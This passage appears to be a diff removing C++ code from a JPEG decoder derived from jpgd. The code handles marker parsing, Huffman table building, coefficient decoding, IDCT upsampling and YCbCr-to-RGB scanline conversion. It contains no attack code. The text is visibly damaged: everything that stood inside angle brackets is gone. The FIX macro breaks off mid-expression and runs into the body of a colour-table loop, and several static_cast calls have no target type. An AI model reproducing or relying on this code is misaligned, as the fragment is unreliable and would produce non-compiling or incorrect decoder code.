good). - - return c; - } - - // Process markers. Returns when an SOFx, SOI, EOI, or SOS marker is - // encountered. - int jpeg_decoder::process_markers() - { - int c; - - for ( ; ; ) - { - c = next_marker(); - - switch (c) - { - case M_SOF0: - case M_SOF1: - case M_SOF2: - case M_SOF3: - case M_SOF5: - case M_SOF6: - case M_SOF7: - // case M_JPG: - case M_SOF9: - case M_SOF10: - case M_SOF11: - case M_SOF13: - case M_SOF14: - case M_SOF15: - case M_SOI: - case M_EOI: - case M_SOS: - { - return c; - } - case M_DHT: - { - read_dht_marker(); - break; - } - // No arithmitic support - dumb patents! - case M_DAC: - { - stop_decoding(JPGD_NO_ARITHMITIC_SUPPORT); - break; - } - case M_DQT: - { - read_dqt_marker(); - break; - } - case M_DRI: - { - read_dri_marker(); - break; - } - //case M_APP0: /* no need to read the JFIF marker */ - - case M_JPG: - case M_RST0: /* no parameters */ - case M_RST1: - case M_RST2: - case M_RST3: - case M_RST4: - case M_RST5: - case M_RST6: - case M_RST7: - case M_TEM: - { - stop_decoding(JPGD_UNEXPECTED_MARKER); - break; - } - default: /* must be DNL, DHP, EXP, APPn, JPGn, COM, or RESn or APP0 */ - { - skip_variable_marker(); - break; - } - } - } - } - - // Finds the start of image (SOI) marker. - // This code is rather defensive: it only checks the first 512 bytes to avoid - // false positives. - void jpeg_decoder::locate_soi_marker() - { - uint lastchar, thischar; - uint bytesleft; - - lastchar = get_bits(8); - - thischar = get_bits(8); - - /* ok if it's a normal JPEG file without a special header */ - - if ((lastchar == 0xFF) && (thischar == M_SOI)) - return; - - bytesleft = 4096; //512; - - for ( ; ; ) - { - if (--bytesleft == 0) - stop_decoding(JPGD_NOT_JPEG); - - lastchar = thischar; - - thischar = get_bits(8); - - if (lastchar == 0xFF) - { - if (thischar == M_SOI) - break; - else if (thischar == M_EOI) // get_bits will keep returning M_EOI if we read past the end - stop_decoding(JPGD_NOT_JPEG); - } - } - - // Check the next character after marker: if it's not 0xFF, it can't be the start of the next marker, so the file is bad. - thischar = (m_bit_buf >> 24) & 0xFF; - - if (thischar != 0xFF) - stop_decoding(JPGD_NOT_JPEG); - } - - // Find a start of frame (SOF) marker. - void jpeg_decoder::locate_sof_marker() - { - locate_soi_marker(); - - int c = process_markers(); - - switch (c) - { - case M_SOF2: - m_progressive_flag = JPGD_TRUE; - case M_SOF0: /* baseline DCT */ - case M_SOF1: /* extended sequential DCT */ - { - read_sof_marker(); - break; - } - case M_SOF9: /* Arithmitic coding */ - { - stop_decoding(JPGD_NO_ARITHMITIC_SUPPORT); - break; - } - default: - { - stop_decoding(JPGD_UNSUPPORTED_MARKER); - break; - } - } - } - - // Find a start of scan (SOS) marker. - int jpeg_decoder::locate_sos_marker() - { - int c; - - c = process_markers(); - - if (c == M_EOI) - return JPGD_FALSE; - else if (c != M_SOS) - stop_decoding(JPGD_UNEXPECTED_MARKER); - - read_sos_marker(); - - return JPGD_TRUE; - } - - // Reset everything to default/uninitialized state. - void jpeg_decoder::init(jpeg_decoder_stream *pStream) - { - m_pMem_blocks = NULL; - m_error_code = JPGD_SUCCESS; - m_ready_flag = false; - m_image_x_size = m_image_y_size = 0; - m_pStream = pStream; - m_progressive_flag = JPGD_FALSE; - - memset(m_huff_ac, 0, sizeof(m_huff_ac)); - memset(m_huff_num, 0, sizeof(m_huff_num)); - memset(m_huff_val, 0, sizeof(m_huff_val)); - memset(m_quant, 0, sizeof(m_quant)); - - m_scan_type = 0; - m_comps_in_frame = 0; - - memset(m_comp_h_samp, 0, sizeof(m_comp_h_samp)); - memset(m_comp_v_samp, 0, sizeof(m_comp_v_samp)); - memset(m_comp_quant, 0, sizeof(m_comp_quant)); - memset(m_comp_ident, 0, sizeof(m_comp_ident)); - memset(m_comp_h_blocks, 0, sizeof(m_comp_h_blocks)); - memset(m_comp_v_blocks, 0, sizeof(m_comp_v_blocks)); - - m_comps_in_scan = 0; - memset(m_comp_list, 0, sizeof(m_comp_list)); - memset(m_comp_dc_tab, 0, sizeof(m_comp_dc_tab)); - memset(m_comp_ac_tab, 0, sizeof(m_comp_ac_tab)); - - m_spectral_start = 0; - m_spectral_end = 0; - m_successive_low = 0; - m_successive_high = 0; - m_max_mcu_x_size = 0; - m_max_mcu_y_size = 0; - m_blocks_per_mcu = 0; - m_max_blocks_per_row = 0; - m_mcus_per_row = 0; - m_mcus_per_col = 0; - m_expanded_blocks_per_component = 0; - m_expanded_blocks_per_mcu = 0; - m_expanded_blocks_per_row = 0; - m_freq_domain_chroma_upsample = false; - - memset(m_mcu_org, 0, sizeof(m_mcu_org)); - - m_total_lines_left = 0; - m_mcu_lines_left = 0; - m_real_dest_bytes_per_scan_line = 0; - m_dest_bytes_per_scan_line = 0; - m_dest_bytes_per_pixel = 0; - - memset(m_pHuff_tabs, 0, sizeof(m_pHuff_tabs)); - - memset(m_dc_coeffs, 0, sizeof(m_dc_coeffs)); - memset(m_ac_coeffs, 0, sizeof(m_ac_coeffs)); - memset(m_block_y_mcu, 0, sizeof(m_block_y_mcu)); - - m_eob_run = 0; - - memset(m_block_y_mcu, 0, sizeof(m_block_y_mcu)); - - m_pIn_buf_ofs = m_in_buf; - m_in_buf_left = 0; - m_eof_flag = false; - m_tem_flag = 0; - - memset(m_in_buf_pad_start, 0, sizeof(m_in_buf_pad_start)); - memset(m_in_buf, 0, sizeof(m_in_buf)); - memset(m_in_buf_pad_end, 0, sizeof(m_in_buf_pad_end)); - - m_restart_interval = 0; - m_restarts_left = 0; - m_next_restart_num = 0; - - m_max_mcus_per_row = 0; - m_max_blocks_per_mcu = 0; - m_max_mcus_per_col = 0; - - memset(m_last_dc_val, 0, sizeof(m_last_dc_val)); - m_pMCU_coefficients = NULL; - m_pSample_buf = NULL; - - m_total_bytes_read = 0; - - m_pScan_line_0 = NULL; - m_pScan_line_1 = NULL; - - // Ready the input buffer. - prep_in_buffer(); - - // Prime the bit buffer. - m_bits_left = 16; - m_bit_buf = 0; - - get_bits(16); - get_bits(16); - - for (int i = 0; i < JPGD_MAX_BLOCKS_PER_MCU; i++) - m_mcu_block_max_zag[i] = 64; - } - -#define SCALEBITS 16 -#define ONE_HALF ((int) 1 << (SCALEBITS-1)) -#define FIX(x) ((int) ((x) * (1L<> SCALEBITS; - m_cbb[i] = ( FIX(1.77200f) * k + ONE_HALF) >> SCALEBITS; - m_crg[i] = (-FIX(0.71414f)) * k; - m_cbg[i] = (-FIX(0.34414f)) * k + ONE_HALF; - } - } - - // This method throws back into the stream any bytes that where read - // into the bit buffer during initial marker scanning. - void jpeg_decoder::fix_in_buffer() - { - // In case any 0xFF's where pulled into the buffer during marker scanning. - JPGD_ASSERT((m_bits_left & 7) == 0); - - if (m_bits_left == 16) - stuff_char( (uint8)(m_bit_buf & 0xFF)); - - if (m_bits_left >= 8) - stuff_char( (uint8)((m_bit_buf >> 8) & 0xFF)); - - stuff_char((uint8)((m_bit_buf >> 16) & 0xFF)); - stuff_char((uint8)((m_bit_buf >> 24) & 0xFF)); - - m_bits_left = 16; - get_bits_no_markers(16); - get_bits_no_markers(16); - } - - void jpeg_decoder::transform_mcu(int mcu_row) - { - jpgd_block_t* pSrc_ptr = m_pMCU_coefficients; - uint8* pDst_ptr = m_pSample_buf + mcu_row * m_blocks_per_mcu * 64; - - for (int mcu_block = 0; mcu_block < m_blocks_per_mcu; mcu_block++) - { - idct(pSrc_ptr, pDst_ptr, m_mcu_block_max_zag[mcu_block]); - pSrc_ptr += 64; - pDst_ptr += 64; - } - } - - static const uint8 s_max_rc[64] = - { - 17, 18, 34, 50, 50, 51, 52, 52, 52, 68, 84, 84, 84, 84, 85, 86, 86, 86, 86, 86, - 102, 118, 118, 118, 118, 118, 118, 119, 120, 120, 120, 120, 120, 120, 120, 136, - 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, - 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136, 136 - }; - - void jpeg_decoder::transform_mcu_expand(int mcu_row) - { - jpgd_block_t* pSrc_ptr = m_pMCU_coefficients; - uint8* pDst_ptr = m_pSample_buf + mcu_row * m_expanded_blocks_per_mcu * 64; - - // Y IDCT - int mcu_block; - for (mcu_block = 0; mcu_block < m_expanded_blocks_per_component; mcu_block++) - { - idct(pSrc_ptr, pDst_ptr, m_mcu_block_max_zag[mcu_block]); - pSrc_ptr += 64; - pDst_ptr += 64; - } - - // Chroma IDCT, with upsampling - jpgd_block_t temp_block[64]; - - for (int i = 0; i < 2; i++) - { - DCT_Upsample::Matrix44 P, Q, R, S; - - JPGD_ASSERT(m_mcu_block_max_zag[mcu_block] >= 1); - JPGD_ASSERT(m_mcu_block_max_zag[mcu_block] <= 64); - - switch (s_max_rc[m_mcu_block_max_zag[mcu_block++] - 1]) - { - case 1*16+1: - DCT_Upsample::P_Q<1, 1>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<1, 1>::calc(R, S, pSrc_ptr); - break; - case 1*16+2: - DCT_Upsample::P_Q<1, 2>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<1, 2>::calc(R, S, pSrc_ptr); - break; - case 2*16+2: - DCT_Upsample::P_Q<2, 2>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<2, 2>::calc(R, S, pSrc_ptr); - break; - case 3*16+2: - DCT_Upsample::P_Q<3, 2>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<3, 2>::calc(R, S, pSrc_ptr); - break; - case 3*16+3: - DCT_Upsample::P_Q<3, 3>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<3, 3>::calc(R, S, pSrc_ptr); - break; - case 3*16+4: - DCT_Upsample::P_Q<3, 4>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<3, 4>::calc(R, S, pSrc_ptr); - break; - case 4*16+4: - DCT_Upsample::P_Q<4, 4>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<4, 4>::calc(R, S, pSrc_ptr); - break; - case 5*16+4: - DCT_Upsample::P_Q<5, 4>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<5, 4>::calc(R, S, pSrc_ptr); - break; - case 5*16+5: - DCT_Upsample::P_Q<5, 5>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<5, 5>::calc(R, S, pSrc_ptr); - break; - case 5*16+6: - DCT_Upsample::P_Q<5, 6>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<5, 6>::calc(R, S, pSrc_ptr); - break; - case 6*16+6: - DCT_Upsample::P_Q<6, 6>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<6, 6>::calc(R, S, pSrc_ptr); - break; - case 7*16+6: - DCT_Upsample::P_Q<7, 6>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<7, 6>::calc(R, S, pSrc_ptr); - break; - case 7*16+7: - DCT_Upsample::P_Q<7, 7>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<7, 7>::calc(R, S, pSrc_ptr); - break; - case 7*16+8: - DCT_Upsample::P_Q<7, 8>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<7, 8>::calc(R, S, pSrc_ptr); - break; - case 8*16+8: - DCT_Upsample::P_Q<8, 8>::calc(P, Q, pSrc_ptr); - DCT_Upsample::R_S<8, 8>::calc(R, S, pSrc_ptr); - break; - default: - JPGD_ASSERT(false); - } - - DCT_Upsample::Matrix44 a(P + Q); P -= Q; - DCT_Upsample::Matrix44& b = P; - DCT_Upsample::Matrix44 c(R + S); R -= S; - DCT_Upsample::Matrix44& d = R; - - DCT_Upsample::Matrix44::add_and_store(temp_block, a, c); - idct_4x4(temp_block, pDst_ptr); - pDst_ptr += 64; - - DCT_Upsample::Matrix44::sub_and_store(temp_block, a, c); - idct_4x4(temp_block, pDst_ptr); - pDst_ptr += 64; - - DCT_Upsample::Matrix44::add_and_store(temp_block, b, d); - idct_4x4(temp_block, pDst_ptr); - pDst_ptr += 64; - - DCT_Upsample::Matrix44::sub_and_store(temp_block, b, d); - idct_4x4(temp_block, pDst_ptr); - pDst_ptr += 64; - - pSrc_ptr += 64; - } - } - - // Loads and dequantizes the next row of (already decoded) coefficients. - // Progressive images only. - void jpeg_decoder::load_next_row() - { - int i; - jpgd_block_t *p; - jpgd_quant_t *q; - int mcu_row, mcu_block, row_block = 0; - int component_num, component_id; - int block_x_mcu[JPGD_MAX_COMPONENTS]; - - memset(block_x_mcu, 0, JPGD_MAX_COMPONENTS * sizeof(int)); - - for (mcu_row = 0; mcu_row < m_mcus_per_row; mcu_row++) - { - int block_x_mcu_ofs = 0, block_y_mcu_ofs = 0; - - for (mcu_block = 0; mcu_block < m_blocks_per_mcu; mcu_block++) - { - component_id = m_mcu_org[mcu_block]; - q = m_quant[m_comp_quant[component_id]]; - - p = m_pMCU_coefficients + 64 * mcu_block; - - jpgd_block_t* pAC = coeff_buf_getp(m_ac_coeffs[component_id], block_x_mcu[component_id] + block_x_mcu_ofs, m_block_y_mcu[component_id] + block_y_mcu_ofs); - jpgd_block_t* pDC = coeff_buf_getp(m_dc_coeffs[component_id], block_x_mcu[component_id] + block_x_mcu_ofs, m_block_y_mcu[component_id] + block_y_mcu_ofs); - p[0] = pDC[0]; - memcpy(&p[1], &pAC[1], 63 * sizeof(jpgd_block_t)); - - for (i = 63; i > 0; i--) - if (p[g_ZAG[i]]) - break; - - m_mcu_block_max_zag[mcu_block] = i + 1; - - for ( ; i >= 0; i--) - if (p[g_ZAG[i]]) - p[g_ZAG[i]] = static_cast(p[g_ZAG[i]] * q[i]); - - row_block++; - - if (m_comps_in_scan == 1) - block_x_mcu[component_id]++; - else - { - if (++block_x_mcu_ofs == m_comp_h_samp[component_id]) - { - block_x_mcu_ofs = 0; - - if (++block_y_mcu_ofs == m_comp_v_samp[component_id]) - { - block_y_mcu_ofs = 0; - - block_x_mcu[component_id] += m_comp_h_samp[component_id]; - } - } - } - } - - if (m_freq_domain_chroma_upsample) - transform_mcu_expand(mcu_row); - else - transform_mcu(mcu_row); - } - - if (m_comps_in_scan == 1) - m_block_y_mcu[m_comp_list[0]]++; - else - { - for (component_num = 0; component_num < m_comps_in_scan; component_num++) - { - component_id = m_comp_list[component_num]; - - m_block_y_mcu[component_id] += m_comp_v_samp[component_id]; - } - } - } - - // Restart interval processing. - void jpeg_decoder::process_restart() - { - int i; - int c = 0; - - // Align to a byte boundry - // FIXME: Is this really necessary? get_bits_no_markers() never reads in markers! - //get_bits_no_markers(m_bits_left & 7); - - // Let's scan a little bit to find the marker, but not _too_ far. - // 1536 is a "fudge factor" that determines how much to scan. - for (i = 1536; i > 0; i--) - if (get_char() == 0xFF) - break; - - if (i == 0) - stop_decoding(JPGD_BAD_RESTART_MARKER); - - for ( ; i > 0; i--) - if ((c = get_char()) != 0xFF) - break; - - if (i == 0) - stop_decoding(JPGD_BAD_RESTART_MARKER); - - // Is it the expected marker? If not, something bad happened. - if (c != (m_next_restart_num + M_RST0)) - stop_decoding(JPGD_BAD_RESTART_MARKER); - - // Reset each component's DC prediction values. - memset(&m_last_dc_val, 0, m_comps_in_frame * sizeof(uint)); - - m_eob_run = 0; - - m_restarts_left = m_restart_interval; - - m_next_restart_num = (m_next_restart_num + 1) & 7; - - // Get the bit buffer going again... - - m_bits_left = 16; - get_bits_no_markers(16); - get_bits_no_markers(16); - } - - static inline int dequantize_ac(int c, int q) { c *= q; return c; } - - // Decodes and dequantizes the next row of coefficients. - void jpeg_decoder::decode_next_row() - { - int row_block = 0; - - for (int mcu_row = 0; mcu_row < m_mcus_per_row; mcu_row++) - { - if ((m_restart_interval) && (m_restarts_left == 0)) - process_restart(); - - jpgd_block_t* p = m_pMCU_coefficients; - for (int mcu_block = 0; mcu_block < m_blocks_per_mcu; mcu_block++, p += 64) - { - int component_id = m_mcu_org[mcu_block]; - jpgd_quant_t* q = m_quant[m_comp_quant[component_id]]; - - int r, s; - s = huff_decode(m_pHuff_tabs[m_comp_dc_tab[component_id]], r); - s = HUFF_EXTEND(r, s); - - m_last_dc_val[component_id] = (s += m_last_dc_val[component_id]); - - p[0] = static_cast(s * q[0]); - - int prev_num_set = m_mcu_block_max_zag[mcu_block]; - - huff_tables *pH = m_pHuff_tabs[m_comp_ac_tab[component_id]]; - - int k; - for (k = 1; k < 64; k++) - { - int extra_bits; - s = huff_decode(pH, extra_bits); - - r = s >> 4; - s &= 15; - - if (s) - { - if (r) - { - if ((k + r) > 63) - stop_decoding(JPGD_DECODE_ERROR); - - if (k < prev_num_set) - { - int n = JPGD_MIN(r, prev_num_set - k); - int kt = k; - while (n--) - p[g_ZAG[kt++]] = 0; - } - - k += r; - } - - s = HUFF_EXTEND(extra_bits, s); - - JPGD_ASSERT(k < 64); - - p[g_ZAG[k]] = static_cast(dequantize_ac(s, q[k])); //s * q[k]; - } - else - { - if (r == 15) - { - if ((k + 16) > 64) - stop_decoding(JPGD_DECODE_ERROR); - - if (k < prev_num_set) - { - int n = JPGD_MIN(16, prev_num_set - k); - int kt = k; - while (n--) - { - JPGD_ASSERT(kt <= 63); - p[g_ZAG[kt++]] = 0; - } - } - - k += 16 - 1; // - 1 because the loop counter is k - // BEGIN EPIC MOD - JPGD_ASSERT(k < 64 && p[g_ZAG[k]] == 0); - // END EPIC MOD - } - else - break; - } - } - - if (k < prev_num_set) - { - int kt = k; - while (kt < prev_num_set) - p[g_ZAG[kt++]] = 0; - } - - m_mcu_block_max_zag[mcu_block] = k; - - row_block++; - } - - if (m_freq_domain_chroma_upsample) - transform_mcu_expand(mcu_row); - else - transform_mcu(mcu_row); - - m_restarts_left--; - } - } - - // YCbCr H1V1 (1x1:1:1, 3 m_blocks per MCU) to RGB - void jpeg_decoder::H1V1Convert() - { - int row = m_max_mcu_y_size - m_mcu_lines_left; - uint8 *d = m_pScan_line_0; - uint8 *s = m_pSample_buf + row * 8; - - for (int i = m_max_mcus_per_row; i > 0; i--) - { - for (int j = 0; j < 8; j++) - { - int y = s[j]; - int cb = s[64+j]; - int cr = s[128+j]; - - if (jpg_format == ERGBFormatJPG::BGRA) - { - d[0] = clamp(y + m_cbb[cb]); - d[1] = clamp(y + ((m_crg[cr] + m_cbg[cb]) >> 16)); - d[2] = clamp(y + m_crr[cr]); - d[3] = 255; - } - else - { - d[0] = clamp(y + m_crr[cr]); - d[1] = clamp(y + ((m_crg[cr] + m_cbg[cb]) >> 16)); - d[2] = clamp(y + m_cbb[cb]); - d[3] = 255; - } - d += 4; - } - - s += 64*3; - } - } - - // YCbCr H2V1 (2x1:1:1, 4 m_blocks per MCU) to RGB - void jpeg_decoder::H2V1Convert() - { - int row = m_max_mcu_y_size - m_mcu_lines_left; - uint8 *d0 = m_pScan_line_0; - uint8 *y = m_pSample_buf + row * 8; - uint8 *c = m_pSample_buf + 2*64 + row * 8; - - for (int i = m_max_mcus_per_row; i > 0; i--) - { - for (int l = 0; l < 2; l++) - { - for (int j = 0; j < 4; j++) - { - int cb = c[0]; - int cr = c[64]; - - int rc = m_crr[cr]; - int gc = ((m_crg[cr] + m_cbg[cb]) >> 16); - int bc = m_cbb[cb]; - - int yy = y[j<<1]; - if (jpg_format == ERGBFormatJPG::BGRA) - { - d0[0] = clamp(yy+bc); - d0[1] = clamp(yy+gc); - d0[2] = clamp(yy+rc); - d0[3] = 255; - yy = y[(j<<1)+1]; - d0[4] = clamp(yy+bc); - d0[5] = clamp(yy+gc); - d0[6] = clamp(yy+rc); - d0[7] = 255; - } - else - { - d0[0] = clamp(yy+rc); - d0[1] = clamp(yy+gc); - d0[2] = clamp(yy+bc); - d0[3] = 255; - yy = y[(j<<1)+1]; - d0[4] = clamp(yy+rc); - d0[5] = clamp(yy+gc); - d0[6] = clamp(yy+bc); - d0[7] = 255; - } - - d0 += 8; - - c++; - } - y += 64; - } - - y += 64*4 - 64*2; - c += 64*4 - 8; - } - } - - // YCbCr H2V1 (1x2:1:1, 4 m_blocks per MCU) to RGB - void jpeg_decoder::H1V2Convert() - { - int row = m_max_mcu_y_size - m_mcu_lines_left; - uint8 *d0 = m_pScan_line_0; - uint8 *d1 = m_pScan_line_1; - uint8 *y; - uint8 *c; - - if (row < 8) - y = m_pSample_buf + row * 8; - else - y = m_pSample_buf + 64*1 + (row & 7) * 8; - - c = m_pSample_buf + 64*2 + (row >> 1) * 8; - - for (int i = m_max_mcus_per_row; i > 0; i--) - { - for (int j = 0; j < 8; j++) - { - int cb = c[0+j]; - int cr = c[64+j]; - - int rc = m_crr[cr]; - int gc = ((m_crg[cr] + m_cbg[cb]) >> 16); - int bc = m_cbb[cb]; - - int yy = y[j]; - if (jpg_format == ERGBFormatJPG::BGRA) - { - d0[0] = clamp(yy+bc); - d0[1] = clamp(yy+gc); - d0[2] = clamp(yy+rc); - d0[3] = 255; - yy = y[8+j]; - d1[0] = clamp(yy+bc); - d1[1] = clamp(yy+gc); - d1[2] = clamp(yy+rc); - d1[3] = 255; - } - else - { - d0[0] = clamp(yy+rc); - d0[1] = clamp(yy+gc); - d0[2] = clamp(yy+bc); - d0[3] = 255; - yy = y[8+j]; - d1[0] = clamp(yy+rc); - d1[1] = clamp(yy+gc); - d1[2] = clamp(yy+bc); - d1[3] = 255; - } - - d0 += 4; - d1 += 4; - } - - y += 64*4; - c += 64*4; - } - } - - // YCbCr H2V2 (2x2:1:1, 6 m_blocks per MCU) to RGB - void jpeg_decoder::H2V2Convert() - { - int row = m_max_mcu_y_size - m_mcu_lines_left; - uint8 *d0 = m_pScan_line_0; - uint8 *d1 = m_pScan_line_1; - uint8 *y; - uint8 *c; - - if (row < 8) - y = m_pSample_buf + row * 8; - else - y = m_pSample_buf + 64*2 + (row & 7) * 8; - - c = m_pSample_buf + 64*4 + (row >> 1) * 8; - - for (int i = m_max_mcus_per_row; i > 0; i--) - { - for (int l = 0; l < 2; l++) - { - for (int j = 0; j < 8; j += 2) - { - int cb = c[0]; - int cr = c[64]; - - int rc = m_crr[cr]; - int gc = ((m_crg[cr] + m_cbg[cb]) >> 16); - int bc = m_cbb[cb]; - - int yy = y[j]; - if (jpg_format == ERGBFormatJPG::BGRA) - { - d0[0] = clamp(yy+bc); - d0[1] = clamp(yy+gc); - d0[2] = clamp(yy+rc); - d0[3] = 255; - yy = y[j+1]; - d0[4] = clamp(yy+bc); - d0[5] = clamp(yy+gc); - d0[6] = clamp(yy+rc); - d0[7] = 255; - yy = y[j+8]; - d1[0] = clamp(yy+bc); - d1[1] = clamp(yy+gc); - d1[2] = clamp(yy+rc); - d1[3] = 255; - yy = y[j+8+1]; - d1[4] = clamp(yy+bc); - d1[5] = clamp(yy+gc); - d1[6] = clamp(yy+rc); - d1[7] = 255; - } - else - { - d0[0] = clamp(yy+rc); - d0[1] = clamp(yy+gc); - d0[2] = clamp(yy+bc); - d0[3] = 255; - yy = y[j+1]; - d0[4] = clamp(yy+rc); - d0[5] = clamp(yy+gc); - d0[6] = clamp(yy+bc); - d0[7] = 255; - yy = y[j+8]; - d1[0] = clamp(yy+rc); - d1[1] = clamp(yy+gc); - d1[2] = clamp(yy+bc); - d1[3] = 255; - yy = y[j+8+1]; - d1[4] = clamp(yy+rc); - d1[5] = clamp(yy+gc); - d1[6] = clamp(yy+bc); - d1[7] = 255; - } - - d0 += 8; - d1 += 8; - - c++; - } - y += 64; - } - - y += 64*6 - 64*2; - c += 64*6 - 8; - } - } - - // Y (1 block per MCU) to 8-bit grayscale - void jpeg_decoder::gray_convert() - { - int row = m_max_mcu_y_size - m_mcu_lines_left; - uint8 *d = m_pScan_line_0; - uint8 *s = m_pSample_buf + row * 8; - - for (int i = m_max_mcus_per_row; i > 0; i--) - { - *(uint *)d = *(uint *)s; - *(uint *)(&d[4]) = *(uint *)(&s[4]); - - s += 64; - d += 8; - } - } - - void jpeg_decoder::expanded_convert() - { - int row = m_max_mcu_y_size - m_mcu_lines_left; - - uint8* Py = m_pSample_buf + (row / 8) * 64 * m_comp_h_samp[0] + (row & 7) * 8; - - uint8* d = m_pScan_line_0; - - for (int i = m_max_mcus_per_row; i > 0; i--) - { - for (int k = 0; k < m_max_mcu_x_size; k += 8) - { - const int Y_ofs = k * 8; - const int Cb_ofs = Y_ofs + 64 * m_expanded_blocks_per_component; - const int Cr_ofs = Y_ofs + 64 * m_expanded_blocks_per_component * 2; - for (int j = 0; j < 8; j++) - { - int y = Py[Y_ofs + j]; - int cb = Py[Cb_ofs + j]; - int cr = Py[Cr_ofs + j]; - - if (jpg_format == ERGBFormatJPG::BGRA) - { - d[0] = clamp(y + m_cbb[cb]); - d[1] = clamp(y + ((m_crg[cr] + m_cbg[cb]) >> 16)); - d[2] = clamp(y + m_crr[cr]); - d[3] = 255; - } - else - { - d[0] = clamp(y + m_crr[cr]); - d[1] = clamp(y + ((m_crg[cr] + m_cbg[cb]) >> 16)); - d[2] = clamp(y + m_cbb[cb]); - d[3] = 255; - } - - d += 4; - } - } - - Py += 64 * m_expanded_blocks_per_mcu; - } - } - - // Find end of image (EOI) marker, so we can return to the user the exact size of the input stream. - void jpeg_decoder::find_eoi() - { - if (!m_progressive_flag) - { - // Attempt to read the EOI marker. - //get_bits_no_markers(m_bits_left & 7); - - // Prime the bit buffer - m_bits_left = 16; - get_bits(16); - get_bits(16); - - // The next marker _should_ be EOI - process_markers(); - } - - m_total_bytes_read -= m_in_buf_left; - } - - int jpeg_decoder::decode(const void** pScan_line, uint* pScan_line_len) - { - if ((m_error_code) || (!m_ready_flag)) - return JPGD_FAILED; - - if (m_total_lines_left == 0) - return JPGD_DONE; - - if (m_mcu_lines_left == 0) - { - if (setjmp(m_jmp_state)) - return JPGD_FAILED; - - if (m_progressive_flag) - load_next_row(); - else - decode_next_row(); - - // Find the EOI marker if that was the last row. - if (m_total_lines_left <= m_max_mcu_y_size) - find_eoi(); - - m_mcu_lines_left = m_max_mcu_y_size; - } - - if (m_freq_domain_chroma_upsample) - { - expanded_convert(); - *pScan_line = m_pScan_line_0; - } - else - { - switch (m_scan_type) - { - case JPGD_YH2V2: - { - if ((m_mcu_lines_left & 1) == 0) - { - H2V2Convert(); - *pScan_line = m_pScan_line_0; - } - else - *pScan_line = m_pScan_line_1; - - break; - } - case JPGD_YH2V1: - { - H2V1Convert(); - *pScan_line = m_pScan_line_0; - break; - } - case JPGD_YH1V2: - { - if ((m_mcu_lines_left & 1) == 0) - { - H1V2Convert(); - *pScan_line = m_pScan_line_0; - } - else - *pScan_line = m_pScan_line_1; - - break; - } - case JPGD_YH1V1: - { - H1V1Convert(); - *pScan_line = m_pScan_line_0; - break; - } - case JPGD_GRAYSCALE: - { - gray_convert(); - *pScan_line = m_pScan_line_0; - - break; - } - } - } - - *pScan_line_len = m_real_dest_bytes_per_scan_line; - - m_mcu_lines_left--; - m_total_lines_left--; - - return JPGD_SUCCESS; - } - - // Creates the tables needed for efficient Huffman decoding. - void jpeg_decoder::make_huff_table(int index, huff_tables *pH) - { - int p, i, l, si; - uint8 huffsize[257]; - uint huffcode[257]; - uint code; - uint subtree; - int code_size; - int lastp; - int nextfreeentry; - int currententry; - - pH->ac_table = m_huff_ac[index] != 0; - - p = 0; - - for (l = 1; l <= 16; l++) - { - for (i = 1; i <= m_huff_num[index][l]; i++) - huffsize[p++] = static_cast(l); - } - - huffsize[p] = 0; - - lastp = p; - - code = 0; - si = huffsize[0]; - p = 0; - - while (huffsize[p]) - { - while (huffsize[p] == si) - { - huffcode[p++] = code; - code++; - } - - code <<= 1; - si++; - } - - memset(pH->look_up, 0, sizeof(pH->look_up)); - memset(pH->look_up2, 0, sizeof(pH->look_up2)); - memset(pH->tree, 0, sizeof(pH->tree)); - memset(pH->code_size, 0, sizeof(pH->code_size)); - - nextfreeentry = -1; - - p = 0; - - while (p < lastp) - { - i = m_huff_val[index][p]; - code = huffcode[p]; - code_size = huffsize[p]; - - pH->code_size[i] = static_cast(code_size); - - if (code_size <= 8) - { - code <<= (8 - code_size); - - for (l = 1 << (8 - code_size); l > 0; l--) - { - JPGD_ASSERT(i < 256); - - pH->look_up[code] = i; - - bool has_extrabits = false; - int extra_bits = 0; - int num_extra_bits = i & 15; - - int bits_to_fetch = code_size; - if (num_extra_bits) - { - int total_codesize = code_size + num_extra_bits; - if (total_codesize <= 8) - { - has_extrabits = true; - extra_bits = ((1 << num_extra_bits) - 1) & (code >> (8 - total_codesize)); - JPGD_ASSERT(extra_bits <= 0x7FFF); - bits_to_fetch += num_extra_bits; - } - } - - if (!has_extrabits) - pH->look_up2[code] = i | (bits_to_fetch << 8); - else - pH->look_up2[code] = i | 0x8000 | (extra_bits << 16) | (bits_to_fetch << 8); - - code++; - } - } - else - { - subtree = (code >> (code_size - 8)) & 0xFF; - - currententry = pH->look_up[subtree]; - - if (currententry == 0) - { - pH->look_up[subtree] = currententry = nextfreeentry; - pH->look_up2[subtree] = currententry = nextfreeentry; - - nextfreeentry -= 2; - } - - code <<= (16 - (code_size - 8)); - - for (l = code_size; l > 9; l--) - { - if ((code & 0x8000) == 0) - currententry--; - - if (pH->tree[-currententry - 1] == 0) - { - pH->tree[-currententry - 1] = nextfreeentry; - - currententry = nextfreeentry; - - nextfreeentry -= 2; - } - else - currententry = pH->tree[-currententry - 1]; - - code <<= 1; - } - - if ((code & 0x8000) == 0) - currententry--; - - pH->tree[-currententry - 1] = i; - } - - p++; - } - } - - // Verifies the quantization tables needed for this scan are available. - void jpeg_decoder::check_quant_tables() - { - for (int i = 0; i < m_comps_in_scan; i++) - if (m_quant[m_comp_quant[m_comp_list[i]]] == NULL) - stop_decoding(JPGD_UNDEFINED_QUANT_TABLE); - } - - // Verifies that all the Huffman tables needed for this scan are available. - void jpeg_decoder::check_huff_tables() - { - for (int i = 0; i < m_comps_in_scan; i++) - { - if ((m_spectral_start == 0) && 